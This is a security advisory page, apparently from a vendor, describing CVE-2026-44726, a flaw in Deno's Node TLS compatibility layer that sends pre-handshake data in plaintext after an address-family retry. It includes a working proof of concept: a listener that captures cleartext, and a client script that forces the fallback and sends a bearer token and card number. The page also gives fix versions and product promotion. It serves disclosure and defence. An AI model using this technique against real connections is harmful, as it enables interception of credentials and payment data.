CVE-2026-44726 — deno
HIGHCVE-2026-44726 is a high-severity (CVSS 7.4) CWE-319 vulnerability in deno. A fix is available for deno — see the affected versions and patch details below.
Deno: TLS retry copies stale upgrade hook, risking plaintext traffic
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44726.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-44726 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
denoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle.
As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted.
A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.
Affected APIs: Applications using Deno's node:tls or node:https surface with autoSelectFamily enabled (the default) that wrote to the socket before the secureConnect event.
Proof of concept
attacker.mjs (captures whatever the client sends)
import net from "node:net";
const server = net.createServer((socket) => {
console.log("[attacker] client connected from", socket.remoteAddress);
socket.on("data", (chunk) => {
// If TLS were working, this would be an opaque ClientHello.
// If the bug fires, we see the application payload in cleartext.
console.log("[attacker] received", chunk.length, "bytes:");
console.log(chunk.toString("utf8"));
});
});
server.listen(4444, "127.0.0.1", () => {
console.log("[attacker] listening on 127.0.0.1:4444");
});
victim.mjs (a normal-looking TLS client)
import tls from "node:tls";
const socket = tls.connect({
host: "api.example.invalid",
port: 4444,
autoSelectFamily: true, // Node-compat default
// First address is a black hole (nothing on [::1]:4444),
// so autoSelectFamily falls back to the second address.
// In a real attack, the on-path attacker arranges this via
// routing, DNS, or by dropping the first SYN.
lookup: (_host, _opts, cb) => {
cb(null, [
{ address: "::1", family: 6 }, // fails -> retry
{ address: "127.0.0.1", family: 4 }, // attacker
]);
},
rejectUnauthorized: false,
});
// Application writes BEFORE secureConnect — common pattern in
// Node clients that pipe a request body or send a greeting.
socket.write("POST /v1/charge HTTP/1.1\r\n");
socket.write("Authorization: Bearer sk_live_SECRET_TOKEN\r\n");
socket.write("Content-Type: application/json\r\n\r\n");
socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" }));
socket.on("secureConnect", () => console.log("[victim] secureConnect"));
socket.on("error", (e) => console.log("[victim] error:", e.message));
In terminal 1 deno run --allow-net attacker.mjs
In terminal 2 deno run --allow-net victim.mjs
Expected vs. observed
On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with 0x16 0x03 0x01 …), and the victim eventually errors out because the attacker isn't speaking TLS.
On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:
[attacker] received 41 bytes:
POST /v1/charge HTTP/1.1
Authorization: Bearer sk_live_SECRET_TOKEN
...
The bearer token, the request body, and the card number all appear in plaintext, even though the application used
tls.connect.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | deno | ≥ 2.0.0&&< 2.7.8 | 2.7.8cargo update -p deno --precise 2.7.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for deno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update deno to 2.7.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44726 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44726 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-44726. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-44726 in your dependencies?
O3 Security finds CVE-2026-44726 across crates.io dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.